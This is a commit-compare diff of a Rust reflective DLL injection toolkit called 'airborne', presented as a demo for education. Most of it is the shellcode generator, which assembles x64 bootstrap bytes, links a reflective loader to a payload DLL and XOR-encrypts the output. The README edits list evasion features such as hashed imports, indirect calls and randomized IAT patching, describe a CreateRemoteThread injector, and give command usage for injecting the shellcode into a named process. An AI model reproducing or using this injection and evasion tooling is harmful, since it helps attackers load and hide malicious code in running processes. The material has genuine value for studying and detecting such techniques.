Compare commits
No commits in common. "4a6aff2a34a9f93c7440090ed23045d99484cda4" and "567e36a9f38e42752a70ff77b5b5c7d1b9db07cf" have entirely different histories.
4a6aff2a34
...
567e36a9f3
BIN
.github/docs/dllmain-exec.png
vendored
BIN
.github/docs/dllmain-exec.png
vendored
Binary file not shown.
Before Width: | Height: | Size: 213 KiB |
BIN
.github/docs/userfunction-exec.png
vendored
BIN
.github/docs/userfunction-exec.png
vendored
Binary file not shown.
Before Width: | Height: | Size: 214 KiB |
70
Cargo.lock
generated
70
Cargo.lock
generated
@ -3,7 +3,41 @@
|
|||||||
version = 3
|
version = 3
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "airborne-common"
|
name = "airborne-generator"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"airborne-utils",
|
||||||
|
"clap",
|
||||||
|
"rand",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "airborne-injector"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"airborne-utils",
|
||||||
|
"lexopt",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "airborne-payload"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "airborne-reflective_loader"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"airborne-utils",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "airborne-utils"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -106,16 +140,6 @@ version = "1.0.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
|
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "generator"
|
|
||||||
version = "0.1.0"
|
|
||||||
dependencies = [
|
|
||||||
"airborne-common",
|
|
||||||
"clap",
|
|
||||||
"rand",
|
|
||||||
"windows-sys",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "getrandom"
|
name = "getrandom"
|
||||||
version = "0.2.12"
|
version = "0.2.12"
|
||||||
@ -145,22 +169,6 @@ version = "0.2.152"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
|
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "poc-injector"
|
|
||||||
version = "0.1.0"
|
|
||||||
dependencies = [
|
|
||||||
"airborne-common",
|
|
||||||
"lexopt",
|
|
||||||
"windows-sys",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "poc-payload"
|
|
||||||
version = "0.1.0"
|
|
||||||
dependencies = [
|
|
||||||
"windows-sys",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ppv-lite86"
|
name = "ppv-lite86"
|
||||||
version = "0.2.17"
|
version = "0.2.17"
|
||||||
@ -215,14 +223,6 @@ dependencies = [
|
|||||||
"getrandom",
|
"getrandom",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "reflective-loader"
|
|
||||||
version = "0.1.0"
|
|
||||||
dependencies = [
|
|
||||||
"airborne-common",
|
|
||||||
"windows-sys",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "strsim"
|
name = "strsim"
|
||||||
version = "0.10.0"
|
version = "0.10.0"
|
||||||
|
@ -6,7 +6,7 @@ members = [
|
|||||||
"payload",
|
"payload",
|
||||||
"generator",
|
"generator",
|
||||||
"reflective_loader",
|
"reflective_loader",
|
||||||
"common"
|
"utils"
|
||||||
]
|
]
|
||||||
|
|
||||||
[profile.release]
|
[profile.release]
|
||||||
|
47
README.md
47
README.md
@ -9,55 +9,30 @@ Reflective DLL injection demo for fun and education. In practical applications,
|
|||||||
```shell
|
```shell
|
||||||
.
|
.
|
||||||
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
|
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
|
||||||
├── injector # PoC injector (CreateRemoteThread)
|
├── injector # PoC injector
|
||||||
├── payload # PoC payload (calc.exe or MessageBoxW based on generator's flag)
|
├── payload # PoC payload (DllMain and PrintMessage)
|
||||||
├── reflective_loader # sRDI implementation
|
└── reflective_loader # sRDI implementation
|
||||||
└── common # Common XOR and hashing functions
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### Features
|
### Features
|
||||||
|
|
||||||
- ~14 kB reflective loader
|
- Compact filesize (~14 kB)
|
||||||
- Hashed import names & indirect function calls
|
- Hashed import names & indirect function calls
|
||||||
- XOR encrypted payload shellcode
|
- Randomized payload export iteration & IAT patching
|
||||||
- Shuffled and delayed IDT iteration (during IAT patching)
|
- XOR encryption for shellcode (shellcode generation specific keys)
|
||||||
|
|
||||||
|
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
|
||||||
|
|
||||||
### Usage
|
### Usage
|
||||||
|
|
||||||
The following command compiles the DLLs and executables into `target/release/`:
|
The following command compiles the DLLs and executables into `target`:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
$ cargo build --release
|
$ cargo build --release
|
||||||
```
|
```
|
||||||
|
|
||||||
1. Generate shellcode containing the loader and the payload:
|
1. Generate shellcode containing the loader and the payload
|
||||||
|
2. Inject the created shellcode into target
|
||||||
```
|
|
||||||
Usage: generator.exe [OPTIONS] --loader <LOADER_PATH> --payload <PAYLOAD_PATH> --function <FUNCTION_NAME> --parameter <PARAMETER> --output <OUTPUT_PATH>
|
|
||||||
|
|
||||||
Options:
|
|
||||||
-l, --loader <LOADER_PATH> Path to the sRDI loader DLL
|
|
||||||
-p, --payload <PAYLOAD_PATH> Path to the payload DLL
|
|
||||||
-f, --function <FUNCTION_NAME> Name of the function to call in the payload DLL
|
|
||||||
-n, --parameter <PARAMETER> Parameter to pass to the function
|
|
||||||
-o, --output <OUTPUT_PATH> Path to the output file
|
|
||||||
--flag <FLAG> Flag to pass to the loader (by default DllMain is called) [default: 0]
|
|
||||||
-h, --help Print help
|
|
||||||
-V, --version Print version
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Inject the created shellcode into target:
|
|
||||||
|
|
||||||
```
|
|
||||||
Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Depending on the flag passed to the generator, either `DllMain` with `DLL_PROCESS_ATTACH` or user function with custom parameter is called:
|
|
||||||
|
|
||||||
<div align="center">
|
|
||||||
<img src=".github/docs/dllmain-exec.png" alt="Payload's DllMain execution with the default flag (0)" width="90%">
|
|
||||||
<img src=".github/docs/userfunction-exec.png" alt="Payload's user defined function execution with the modified flag (1)" width="90%">
|
|
||||||
</div>
|
|
||||||
|
|
||||||
### Disclaimer
|
### Disclaimer
|
||||||
|
|
||||||
|
@ -1,12 +1,12 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "generator"
|
name = "airborne-generator"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
clap = { version = "4.4.18", features = ["derive"] }
|
clap = {version = "4.4.18", features = ["derive"] }
|
||||||
rand = "0.8.5"
|
rand = "0.8.5"
|
||||||
airborne-common = { path = "../common" }
|
airborne-utils = { path = "../utils" }
|
||||||
|
|
||||||
[dependencies.windows-sys]
|
[dependencies.windows-sys]
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
|
@ -1,10 +1,7 @@
|
|||||||
use std::{
|
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
|
||||||
collections::BTreeMap, error::Error, ffi::CStr, fs, path::PathBuf, process::exit,
|
|
||||||
slice::from_raw_parts,
|
|
||||||
};
|
|
||||||
|
|
||||||
use airborne_common::calc_hash;
|
use airborne_utils::calc_hash;
|
||||||
use clap::{ArgAction, Parser};
|
use clap::Parser;
|
||||||
use windows_sys::Win32::{
|
use windows_sys::Win32::{
|
||||||
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
|
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
|
||||||
System::{
|
System::{
|
||||||
@ -31,15 +28,9 @@ struct Args {
|
|||||||
/// Path to the output file
|
/// Path to the output file
|
||||||
#[arg(short, long = "output")]
|
#[arg(short, long = "output")]
|
||||||
output_path: PathBuf,
|
output_path: PathBuf,
|
||||||
/// Disable randomized delays during IAT patching
|
/// Flag to pass to the loader (by default DllMain is called)
|
||||||
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
|
#[arg(short, long, default_value_t = 0)]
|
||||||
no_delay: bool,
|
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
|
||||||
/// Disable IAT import descriptor shuffling
|
|
||||||
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
|
|
||||||
no_shuffle: bool,
|
|
||||||
/// Call payload's user defined function instead of DllMain
|
|
||||||
#[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)]
|
|
||||||
ufn: bool,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
|
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
|
||||||
@ -49,13 +40,9 @@ const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
|
|||||||
fn main() {
|
fn main() {
|
||||||
let args = Args::parse();
|
let args = Args::parse();
|
||||||
|
|
||||||
// (bool, bool, bool) -(OR)-> u32
|
|
||||||
let combined_flag = airborne_common::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn);
|
|
||||||
|
|
||||||
// preserve the path from being dropped
|
// preserve the path from being dropped
|
||||||
let output_path = args.output_path.clone();
|
let output_path = args.output_path.clone();
|
||||||
|
|
||||||
// prepare paths for pretty printing
|
|
||||||
let loader_path_str = args.loader_path.to_str().unwrap();
|
let loader_path_str = args.loader_path.to_str().unwrap();
|
||||||
let payload_path_str = args.payload_path.to_str().unwrap();
|
let payload_path_str = args.payload_path.to_str().unwrap();
|
||||||
let output_path_str = args.output_path.to_str().unwrap();
|
let output_path_str = args.output_path.to_str().unwrap();
|
||||||
@ -64,66 +51,29 @@ fn main() {
|
|||||||
println!("[+] payload: {}", payload_path_str);
|
println!("[+] payload: {}", payload_path_str);
|
||||||
println!("[+] output: {}", output_path_str);
|
println!("[+] output: {}", output_path_str);
|
||||||
|
|
||||||
let mut loader_b = match fs::read(args.loader_path) {
|
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
|
||||||
Ok(b) => b,
|
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
|
||||||
Err(e) => {
|
|
||||||
eprintln!("[-] failed to read loader DLL: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut payload_b = match fs::read(args.payload_path) {
|
|
||||||
Ok(b) => b,
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("[-] failed to read payload DLL: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
let function_hash = calc_hash(args.function_name.as_bytes());
|
let function_hash = calc_hash(args.function_name.as_bytes());
|
||||||
|
|
||||||
let mut shellcode = match gen_sc(
|
let mut shellcode = gen_sc(
|
||||||
&mut loader_b,
|
&mut loader_b,
|
||||||
&mut payload_b,
|
&mut payload_b,
|
||||||
function_hash,
|
function_hash,
|
||||||
args.parameter,
|
args.parameter,
|
||||||
combined_flag,
|
args.flag,
|
||||||
) {
|
);
|
||||||
Ok(sc) => sc,
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("[-] failed to generate shellcode: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
println!("\n[+] xor'ing shellcode");
|
println!("\n[+] xor'ing shellcode");
|
||||||
let key = gen_xor_key(shellcode.len());
|
let key = gen_xor_key(shellcode.len());
|
||||||
airborne_common::xor_cipher(&mut shellcode, &key);
|
airborne_utils::xor_cipher(&mut shellcode, &key);
|
||||||
let mut key_output_path = output_path.clone().into_os_string();
|
let mut key_output_path = output_path.clone().into_os_string();
|
||||||
key_output_path.push(".key");
|
key_output_path.push(".key");
|
||||||
|
|
||||||
// prepare path for pretty printing
|
|
||||||
let key_output_path_str = key_output_path.to_str().unwrap();
|
let key_output_path_str = key_output_path.to_str().unwrap();
|
||||||
|
|
||||||
println!(
|
println!("\n[+] writing shellcode to '{}'", output_path_str);
|
||||||
"\n[+] writing shellcode to '{}' and xor key to '{}'",
|
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
|
||||||
output_path_str, key_output_path_str
|
println!("[+] writing xor key to '{}'", key_output_path_str);
|
||||||
);
|
fs::write(key_output_path, key).expect("failed to write xor key to output file");
|
||||||
|
|
||||||
match fs::write(output_path, shellcode) {
|
|
||||||
Ok(_) => (),
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("[-] failed to write shellcode to output file: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
match fs::write(key_output_path, key) {
|
|
||||||
Ok(_) => (),
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("[-] failed to write xor key to output file: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn gen_sc(
|
fn gen_sc(
|
||||||
@ -132,117 +82,159 @@ fn gen_sc(
|
|||||||
function_hash: u32,
|
function_hash: u32,
|
||||||
parameter: String,
|
parameter: String,
|
||||||
flag: u32,
|
flag: u32,
|
||||||
) -> Result<Vec<u8>, Box<dyn Error>> {
|
) -> Vec<u8> {
|
||||||
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)?;
|
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
|
||||||
|
.expect("failed to get loader entry point");
|
||||||
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
|
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
|
||||||
println!("[+] loader offset: {:#x}", loader_offset);
|
println!("[+] loader offset: {:#x}", loader_offset);
|
||||||
|
|
||||||
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
|
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
|
||||||
|
|
||||||
|
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
|
||||||
|
// calculating little-endian representations of variables (flag, parameter length & offset,
|
||||||
|
// function hash, payload offset, loader address) beforehand
|
||||||
|
|
||||||
|
let mut bootstrap: Vec<u8> = Vec::new();
|
||||||
|
|
||||||
|
/*
|
||||||
|
1.) save the current location in memory for calculating offsets later
|
||||||
|
*/
|
||||||
|
|
||||||
|
// call 0x00 (this will push the address of the next function to the stack)
|
||||||
|
bootstrap.push(0xe8);
|
||||||
|
bootstrap.push(0x00);
|
||||||
|
bootstrap.push(0x00);
|
||||||
|
bootstrap.push(0x00);
|
||||||
|
bootstrap.push(0x00);
|
||||||
|
|
||||||
|
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
|
||||||
|
bootstrap.push(0x59);
|
||||||
|
|
||||||
|
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
|
||||||
|
bootstrap.push(0x49);
|
||||||
|
bootstrap.push(0x89);
|
||||||
|
bootstrap.push(0xc8);
|
||||||
|
|
||||||
|
/*
|
||||||
|
2.) align the stack and create shadow space
|
||||||
|
*/
|
||||||
|
|
||||||
|
// push rsi - save original value
|
||||||
|
bootstrap.push(0x56);
|
||||||
|
|
||||||
|
// mov rsi, rsp - store our current stack pointer for later
|
||||||
|
bootstrap.push(0x48);
|
||||||
|
bootstrap.push(0x89);
|
||||||
|
bootstrap.push(0xe6);
|
||||||
|
|
||||||
|
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
|
||||||
|
bootstrap.push(0x48);
|
||||||
|
bootstrap.push(0x83);
|
||||||
|
bootstrap.push(0xe4);
|
||||||
|
bootstrap.push(0xf0);
|
||||||
|
|
||||||
|
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
|
||||||
|
bootstrap.push(0x48);
|
||||||
|
bootstrap.push(0x83);
|
||||||
|
bootstrap.push(0xec);
|
||||||
|
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
|
||||||
|
|
||||||
|
/*
|
||||||
|
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
|
||||||
|
*/
|
||||||
|
|
||||||
|
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
|
||||||
|
bootstrap.push(0x48);
|
||||||
|
bootstrap.push(0x89);
|
||||||
|
bootstrap.push(0x4C);
|
||||||
|
bootstrap.push(0x24);
|
||||||
|
bootstrap.push(4 * 8); // 5th arg
|
||||||
|
|
||||||
|
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
|
||||||
|
bootstrap.push(0x48);
|
||||||
|
bootstrap.push(0x83);
|
||||||
|
bootstrap.push(0x6C);
|
||||||
|
bootstrap.push(0x24);
|
||||||
|
bootstrap.push(4 * 8); // 5th arg
|
||||||
|
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
|
||||||
|
|
||||||
|
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
|
||||||
|
bootstrap.push(0xC7);
|
||||||
|
bootstrap.push(0x44);
|
||||||
|
bootstrap.push(0x24);
|
||||||
|
bootstrap.push(5 * 8); // 6th arg
|
||||||
|
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
|
||||||
|
|
||||||
|
/*
|
||||||
|
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
||||||
|
*/
|
||||||
|
|
||||||
|
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
|
||||||
|
bootstrap.push(0x41);
|
||||||
|
bootstrap.push(0xb9);
|
||||||
|
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
|
||||||
|
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
|
||||||
|
|
||||||
|
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
|
||||||
|
bootstrap.push(0x49);
|
||||||
|
bootstrap.push(0x81);
|
||||||
|
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
|
||||||
let parameter_offset =
|
let parameter_offset =
|
||||||
BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32 + payload_b.len() as u32;
|
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
|
||||||
let payload_offset = BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32;
|
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
|
||||||
|
|
||||||
// 1.) save the current location in memory for calculating offsets later
|
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
|
||||||
let b1: Vec<u8> = vec![
|
bootstrap.push(0xba);
|
||||||
0xe8, 0x00, 0x00, 0x00, 0x00, // call 0x00
|
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
|
||||||
0x59, // pop rcx
|
|
||||||
0x49, 0x89, 0xc8, // mov r8, rcx
|
|
||||||
];
|
|
||||||
|
|
||||||
// 2.) align the stack and create shadow space
|
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
|
||||||
let b2: Vec<u8> = vec![
|
bootstrap.push(0x48);
|
||||||
0x56, // push rsi
|
bootstrap.push(0x81);
|
||||||
0x48,
|
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
|
||||||
0x89,
|
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
|
||||||
0xe6, // mov rsi, rsp
|
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
|
||||||
0x48,
|
|
||||||
0x83,
|
|
||||||
0xe4,
|
|
||||||
0xf0, // and rsp, 0x0FFFFFFFFFFFFFFF0
|
|
||||||
0x48,
|
|
||||||
0x83,
|
|
||||||
0xec,
|
|
||||||
6 * 8, // sub rsp, 0x30
|
|
||||||
];
|
|
||||||
|
|
||||||
// 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack
|
/*
|
||||||
let b3: Vec<u8> = vec![
|
5.) call the reflective loader
|
||||||
0x48,
|
*/
|
||||||
0x89,
|
|
||||||
0x4C,
|
|
||||||
0x24,
|
|
||||||
4 * 8, // mov qword ptr [rsp + 0x20], rcx
|
|
||||||
0x48,
|
|
||||||
0x83,
|
|
||||||
0x6C,
|
|
||||||
0x24,
|
|
||||||
4 * 8,
|
|
||||||
5, // sub qword ptr [rsp + 0x20], 0x5
|
|
||||||
0xC7,
|
|
||||||
0x44,
|
|
||||||
0x24,
|
|
||||||
5 * 8, // mov dword ptr [rsp + 0x28], <flag>
|
|
||||||
]
|
|
||||||
.into_iter()
|
|
||||||
.chain(flag.to_le_bytes().to_vec())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
// 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
// call <loader_offset> - call the reflective loader address after calculation
|
||||||
let b4: Vec<u8> = vec![0x41, 0xb9]
|
bootstrap.push(0xe8);
|
||||||
.into_iter()
|
let loader_address =
|
||||||
.chain((parameter.len() as u32).to_le_bytes().to_vec())
|
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
|
||||||
.chain(vec![
|
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
|
||||||
0x49, 0x81, 0xc0, // add r8, <parameter_offset> + <payload_length>
|
|
||||||
])
|
|
||||||
.chain(parameter_offset.to_le_bytes().to_vec())
|
|
||||||
.chain(vec![
|
|
||||||
0xba, // mov edx, <prameter_hash>
|
|
||||||
])
|
|
||||||
.chain(function_hash.to_le_bytes().to_vec())
|
|
||||||
.chain(vec![
|
|
||||||
0x48, 0x81, 0xc1, // add rcx, <payload_offset>
|
|
||||||
])
|
|
||||||
.chain(payload_offset.to_le_bytes().to_vec())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
// 5.) call the reflective loader
|
// padding
|
||||||
let bootstrap_len = b1.len() + b2.len() + b3.len() + b4.len() + 1;
|
bootstrap.push(0x90);
|
||||||
let loader_addr = (BOOTSTRAP_TOTAL_LENGTH - bootstrap_len as u32 - 4) + loader_offset as u32;
|
bootstrap.push(0x90);
|
||||||
let b5: Vec<u8> = vec![
|
|
||||||
0xe8, // call <loader_offset>
|
|
||||||
]
|
|
||||||
.into_iter()
|
|
||||||
.chain(loader_addr.to_le_bytes().to_vec())
|
|
||||||
.chain(vec![
|
|
||||||
0x90, 0x90, // padding
|
|
||||||
])
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
// 6.) restore the stack and return to the original location (caller)
|
/*
|
||||||
let b6: Vec<u8> = vec![
|
6.) restore the stack and return to the original location (caller)
|
||||||
0x48, 0x89, 0xf4, // mov rsp, rsi
|
*/
|
||||||
0x5e, // pop rsi
|
|
||||||
0xc3, // ret
|
|
||||||
0x90, 0x90, // padding
|
|
||||||
];
|
|
||||||
|
|
||||||
let mut bootstrap: Vec<u8> = b1
|
// mov rsp, rsi - reset original stack pointer
|
||||||
.into_iter()
|
bootstrap.push(0x48);
|
||||||
.chain(b2)
|
bootstrap.push(0x89);
|
||||||
.chain(b3)
|
bootstrap.push(0xf4);
|
||||||
.chain(b4)
|
|
||||||
.chain(b5)
|
// pop rsi - put things back where they were left
|
||||||
.chain(b6)
|
bootstrap.push(0x5e);
|
||||||
.collect();
|
|
||||||
|
// ret - return to caller and resume execution flow (avoids crashing process)
|
||||||
|
bootstrap.push(0xc3);
|
||||||
|
|
||||||
|
// padding
|
||||||
|
bootstrap.push(0x90);
|
||||||
|
bootstrap.push(0x90);
|
||||||
|
|
||||||
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
|
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
|
||||||
return Err("invalid bootstrap length".into());
|
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
|
||||||
|
} else {
|
||||||
|
println!("[+] bootstrap size: {}", bootstrap.len());
|
||||||
}
|
}
|
||||||
|
|
||||||
println!("[+] bootstrap size: {} bytes", bootstrap.len());
|
println!("[+] reflective loader size: {}", loader_b.len());
|
||||||
println!("[+] reflective loader size: {} kB", loader_b.len() / 1024);
|
println!("[+] payload size: {}", payload_b.len());
|
||||||
println!("[+] payload size: {} kB", payload_b.len() / 1024);
|
|
||||||
|
|
||||||
let mut shellcode = Vec::new();
|
let mut shellcode = Vec::new();
|
||||||
|
|
||||||
@ -259,7 +251,7 @@ fn gen_sc(
|
|||||||
- user data
|
- user data
|
||||||
*/
|
*/
|
||||||
|
|
||||||
println!("\n[+] total shellcode size: {} kB", shellcode.len() / 1024);
|
println!("\n[+] total shellcode size: {}", shellcode.len());
|
||||||
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
|
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
|
||||||
println!(
|
println!(
|
||||||
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
|
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
|
||||||
@ -273,7 +265,7 @@ fn gen_sc(
|
|||||||
flag
|
flag
|
||||||
);
|
);
|
||||||
|
|
||||||
Ok(shellcode)
|
shellcode
|
||||||
}
|
}
|
||||||
|
|
||||||
fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
||||||
@ -286,64 +278,61 @@ fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
|||||||
key
|
key
|
||||||
}
|
}
|
||||||
|
|
||||||
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Result<*mut u8, Box<dyn Error>> {
|
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
|
||||||
for (e_name, addr) in unsafe { get_exports(base_ptr)? } {
|
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
|
||||||
if e_name == name {
|
if e_name == name {
|
||||||
return Ok(addr as _);
|
return Some(addr as _);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Err(format!("failed to find export by name: {}", name).into())
|
None
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<dyn Error>> {
|
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
|
||||||
let mut exports = BTreeMap::new();
|
let mut exports = BTreeMap::new();
|
||||||
|
|
||||||
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
|
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
|
||||||
|
|
||||||
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
|
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
|
||||||
return Err("failed to get DOS header for the export".into());
|
panic!("Failed to get DOS header");
|
||||||
}
|
}
|
||||||
|
|
||||||
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
|
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
|
||||||
|
|
||||||
let export_dir_ptr = rva_to_offset(
|
let export_dir_ptr = rva_to_offset(
|
||||||
base_ptr as _,
|
base_ptr as _,
|
||||||
&*nt_header_ptr,
|
&*nt_header_ptr,
|
||||||
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
|
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
|
||||||
